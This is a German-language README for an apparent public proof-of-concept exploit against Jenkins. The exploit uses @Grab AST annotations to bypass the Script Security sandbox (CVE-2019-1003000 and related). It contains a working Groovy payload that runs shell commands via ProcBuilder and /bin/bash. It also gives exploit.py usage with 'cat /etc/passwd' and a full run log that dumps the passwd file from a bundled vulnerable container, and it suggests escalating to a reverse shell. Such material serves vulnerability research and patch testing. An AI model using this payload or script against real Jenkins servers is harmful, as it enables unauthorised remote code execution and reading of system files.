
Jenkins RCE Proof-of-Concept: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)
Ein Proof of Concept, um Benutzern mit Overall/Read-Berechtigung und Job/Configure (und optional Job/Build) zu ermöglichen, den Sandbox-Schutz zu umgehen und beliebigen Code auf dem Jenkins-Master oder -Knoten auszuführen.
Update: Ein Artikel von Orange Tsai, der die Exploit-Kette erklärt, die CVE-2018-1000861 und CVE-2019-1003000 verwendet, um die Notwendigkeit der Overall/Read-Berechtigung für eine Pre-Auth-RCE zu umgehen: http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
$ git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
$ cd cve-2019-1003000-jenkins-rce-poc
$ pip install -r requirements.txt
Übergeben Sie Ziel-URL, Job-Namen, Benutzername/Passwort-Anmeldedaten und den auszuführenden Systembefehl als Argumente.
$ python exploit.py --url http://jenkins-site.com --job job_name --username your_user --password your_passwd --cmd "cat /etc/passwd"
Zitiert aus Red Hat Bugzilla - Bug 1667566:
Ein Fehler wurde im Pipeline: Declarative Plugin vor Version 1.3.4.1, im Pipeline: Groovy Plugin vor Version 2.61.1 und im Script Security Plugin vor Version 1.50 gefunden. Der Script Security Sandbox-Schutz konnte während der Skriptkompilierungsphase umgangen werden, indem AST-transformierende Annotationen wie @Grab auf Quellcode-Elemente angewendet wurden. Sowohl die Pipeline-Validierungs-REST-APIs als auch die tatsächliche Skript-/Pipeline-Ausführung sind betroffen. Dies ermöglichte Benutzern mit Overall/Read-Berechtigung oder der Fähigkeit, Jenkinsfile- oder gesandboxte Pipeline-Shared-Library-Inhalte im SCM zu kontrollieren, den Sandbox-Schutz zu umgehen und beliebigen Code auf dem Jenkins-Master oder -Knoten auszuführen. Alle bekannten unsicheren AST-Transformationen in Groovy sind jetzt in gesandboxten Skripten verboten.
Dieser PoC verwendet einen Benutzer mit Overall/Read- und Job/Configure-Berechtigung, um ein bösartig modifiziertes Build-Skript im Sandbox-Modus auszuführen und versucht, die Sandbox-Modus-Einschränkung zu umgehen, um beliebige Skripte auszuführen (in diesem Fall führen wir einen Systembefehl aus).
Im Hintergrund ist Jenkins' Pipeline-Build-Skript in Groovy geschrieben. Dieses Build-Skript wird auf dem Jenkins-Master oder -Knoten kompiliert und ausgeführt und enthält die Definition der Pipeline, z.B. was auf Slave-Knoten zu tun ist. Jenkins bietet auch die Möglichkeit, das Skript im Sandbox-Modus auszuführen. Im Sandbox-Modus sind alle gefährlichen Funktionen auf der Blacklist, sodass ein regulärer Benutzer nichts Böswilliges am Jenkins-Server tun kann.
Da das Build-Skript jedoch in Groovy geschrieben ist, können wir jede Klasse oder Funktion in Java-Paketen verwenden (allerdings sind im Sandbox-Modus gefährliche integrierte Funktionen auf der Blacklist). In diesem Fall verwenden wir AST-transformierende Annotationen @Grab, um Jenkins dazu zu bringen, beliebige Java-Pakete aus einem externen Maven-Repository zu importieren. In diesem PoC verwende ich die Klasse ProcBuilder, die in org.buildobjects:jproc:2.2.3 definiert ist, um einen System-Shell-Befehl auszuführen.
Das Payload ist wie folgt definiert:
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","cat /etc/passwd").run().getOutputString()
Das obige Skript wird auf dem Jenkins-Master oder -Knoten kompiliert und ausgeführt. Nachdem der Job-Build abgeschlossen ist, können wir das Ergebnis des Shell-Befehls cat /etc/passwd in der Job-Konsolenausgabe sehen. Darüber hinaus können wir diese RCE nutzen, um eine Reverse Shell zu erhalten und den Jenkins-Server buchstäblich zu pwnen!
Ein Beispiel für einen anfälligen Jenkins wird in diesem Repository im Verzeichnis sample-vuln im Docker-Container-Format bereitgestellt. Nach dem Hochfahren enthält das Container-Image eine Jenkins-Site, die auf Port tcp/8080 gehostet wird, mit einem regulären Benutzer mit Overall/Read + Job/Configure + Job/Build-Berechtigung mit den Anmeldedaten user1:user1 und einem Pipeline-Job mit der ID my-pipeline.
$ cd sample-vuln
$ ./run.sh
$ cd ..
$ python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash
[Pipeline] End of Pipeline
Finished: SUCCESS